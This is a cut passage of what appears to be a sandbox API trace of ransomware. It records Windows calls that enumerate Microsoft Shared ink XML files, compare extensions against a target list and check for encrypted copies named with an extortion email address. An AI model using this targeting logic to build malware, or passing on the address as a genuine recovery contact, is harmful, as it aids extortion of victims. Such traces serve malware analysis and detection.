Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0085.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.340] lstrlenW (lpString=".doc") returned 4 [0085.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString=".docx") returned 5 [0085.340] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0085.340] lstrlenW (lpString=".pdf") returned 4 [0085.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString=".xls") returned 4 [0085.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString=".xlsx") returned 5 [0085.340] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0085.340] lstrlenW (lpString=".ppt") returned 4 [0085.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.340] lstrlenW (lpString=".zip") returned 4 [0085.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.340] lstrlenW (lpString=".rar") returned 4 [0085.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString=".bz2") returned 4 [0085.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.340] lstrlenW (lpString=".7z") returned 3 [0085.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.340] lstrlenW (lpString=".dbf") returned 4 [0085.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.341] lstrlenW (lpString=".1cd") returned 4 [0085.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.341] lstrlenW (lpString=".jpg") returned 4 [0085.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.341] lstrlenW (lpString=".doc") returned 4 [0085.341] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString=".docx") returned 5 [0085.341] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0085.341] lstrlenW (lpString=".pdf") returned 4 [0085.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString=".xls") returned 4 [0085.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString=".xlsx") returned 5 [0085.341] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0085.341] lstrlenW (lpString=".ppt") returned 4 [0085.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.341] lstrlenW (lpString=".zip") returned 4 [0085.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.341] lstrlenW (lpString=".rar") returned 4 [0085.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.341] lstrlenW (lpString=".bz2") returned 4 [0085.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.342] lstrlenW (lpString=".7z") returned 3 [0085.342] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.342] lstrlenW (lpString=".dbf") returned 4 [0085.342] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.342] lstrlenW (lpString=".1cd") returned 4 [0085.342] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0085.342] lstrlenW (lpString=".jpg") returned 4 [0085.342] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.342] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.342] lstrlenW (lpString="zh-dayi.xml") returned 11 [0085.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.342] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=11067) returned 1 [0085.342] CloseHandle (hObject=0x1b0) returned 1 [0085.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0085.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.343] lstrlenW (lpString=".doc") returned 4 [0085.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString=".docx") returned 5 [0085.343] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0085.343] lstrlenW (lpString=".pdf") returned 4 [0085.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString=".xls") returned 4 [0085.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString=".xlsx") returned 5 [0085.343] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0085.343] lstrlenW (lpString=".ppt") returned 4 [0085.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.343] lstrlenW (lpString=".zip") returned 4 [0085.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.343] lstrlenW (lpString=".rar") returned 4 [0085.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString=".bz2") returned 4 [0085.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString=".7z") returned 3 [0085.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.343] lstrlenW (lpString=".dbf") returned 4 [0085.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString=".1cd") returned 4 [0085.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString=".jpg") returned 4 [0085.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString=".doc") returned 4 [0085.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString=".docx") returned 5 [0085.344] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0085.344] lstrlenW (lpString=".pdf") returned 4 [0085.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString=".xls") returned 4 [0085.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString=".xlsx") returned 5 [0085.344] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0085.344] lstrlenW (lpString=".ppt") returned 4 [0085.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString=".zip") returned 4 [0085.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.344] lstrlenW (lpString=".rar") returned 4 [0085.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString=".bz2") returned 4 [0085.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.344] lstrlenW (lpString=".7z") returned 3 [0085.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.344] lstrlenW (lpString=".dbf") returned 4 [0085.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.345] lstrlenW (lpString=".1cd") returned 4 [0085.345] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0085.345] lstrlenW (lpString=".jpg") returned 4 [0085.345] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.345] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.345] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0085.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.359] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=10947) returned 1 [0085.359] CloseHandle (hObject=0x184) returned 1 [0085.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0085.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.360] lstrlenW (lpString=".doc") returned 4 [0085.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.360] lstrlenW (lpString=".docx") returned 5 [0085.360] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0085.360] lstrlenW (lpString=".pdf") returned 4 [0085.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.360] lstrlenW (lpString=".xls") returned 4 [0085.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.360] lstrlenW (lpString=".xlsx") returned 5 [0085.360] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0085.360] lstrlenW (lpString=".ppt") returned 4 [0085.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.360] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.360] lstrlenW (lpString=".zip") returned 4 [0085.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.360] lstrlenW (lpString=".rar") returned 4 [0085.361] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.361] lstrlenW (lpString=".bz2") returned 4 [0085.361] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.361] lstrlenW (lpString=".7z") returned 3 [0085.361] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.361] lstrlenW (lpString=".dbf") returned 4 [0085.361] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.361] lstrlenW (lpString=".1cd") returned 4 [0085.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.361] lstrlenW (lpString=".jpg") returned 4 [0085.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.362] lstrlenW (lpString=".doc") returned 4 [0085.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.362] lstrlenW (lpString=".docx") returned 5 [0085.362] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0085.362] lstrlenW (lpString=".pdf") returned 4 [0085.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.362] lstrlenW (lpString=".xls") returned 4 [0085.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.362] lstrlenW (lpString=".xlsx") returned 5 [0085.362] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0085.362] lstrlenW (lpString=".ppt") returned 4 [0085.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.362] lstrlenW (lpString=".zip") returned 4 [0085.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.362] lstrlenW (lpString=".rar") returned 4 [0085.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.363] lstrlenW (lpString=".bz2") returned 4 [0085.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.363] lstrlenW (lpString=".7z") returned 3 [0085.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.363] lstrlenW (lpString=".dbf") returned 4 [0085.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.363] lstrlenW (lpString=".1cd") returned 4 [0085.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0085.363] lstrlenW (lpString=".jpg") returned 4 [0085.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.363] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.364] lstrlenW (lpString="main.xml") returned 8 [0085.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.364] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=38485) returned 1 [0085.364] CloseHandle (hObject=0x184) returned 1 [0085.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0085.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.364] lstrlenW (lpString=".doc") returned 4 [0085.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.365] lstrlenW (lpString=".docx") returned 5 [0085.365] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0085.365] lstrlenW (lpString=".pdf") returned 4 [0085.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.365] lstrlenW (lpString=".xls") returned 4 [0085.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.365] lstrlenW (lpString=".xlsx") returned 5 [0085.365] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0085.365] lstrlenW (lpString=".ppt") returned 4 [0085.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.365] lstrlenW (lpString=".zip") returned 4 [0085.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.365] lstrlenW (lpString=".rar") returned 4 [0085.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString=".bz2") returned 4 [0085.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString=".7z") returned 3 [0085.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.366] lstrlenW (lpString=".dbf") returned 4 [0085.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.366] lstrlenW (lpString=".1cd") returned 4 [0085.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.366] lstrlenW (lpString=".jpg") returned 4 [0085.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.366] lstrlenW (lpString=".doc") returned 4 [0085.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString=".docx") returned 5 [0085.366] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0085.366] lstrlenW (lpString=".pdf") returned 4 [0085.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.366] lstrlenW (lpString=".xls") returned 4 [0085.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.367] lstrlenW (lpString=".xlsx") returned 5 [0085.367] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0085.367] lstrlenW (lpString=".ppt") returned 4 [0085.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.367] lstrlenW (lpString=".zip") returned 4 [0085.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.367] lstrlenW (lpString=".rar") returned 4 [0085.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.367] lstrlenW (lpString=".bz2") returned 4 [0085.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.367] lstrlenW (lpString=".7z") returned 3 [0085.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.367] lstrlenW (lpString=".dbf") returned 4 [0085.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.368] lstrlenW (lpString=".1cd") returned 4 [0085.368] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 73 [0085.368] lstrlenW (lpString=".jpg") returned 4 [0085.368] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.368] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.368] lstrlenW (lpString="numbase.xml") returned 11 [0085.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.368] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1218) returned 1 [0085.368] CloseHandle (hObject=0x184) returned 1 [0085.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0085.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.369] lstrlenW (lpString=".doc") returned 4 [0085.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString=".docx") returned 5 [0085.369] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0085.369] lstrlenW (lpString=".pdf") returned 4 [0085.369] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString=".xls") returned 4 [0085.369] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString=".xlsx") returned 5 [0085.369] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0085.369] lstrlenW (lpString=".ppt") returned 4 [0085.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 84 [0085.369] lstrlenW (lpString=".zip") returned 4 [0085.369] lstrcmpiW 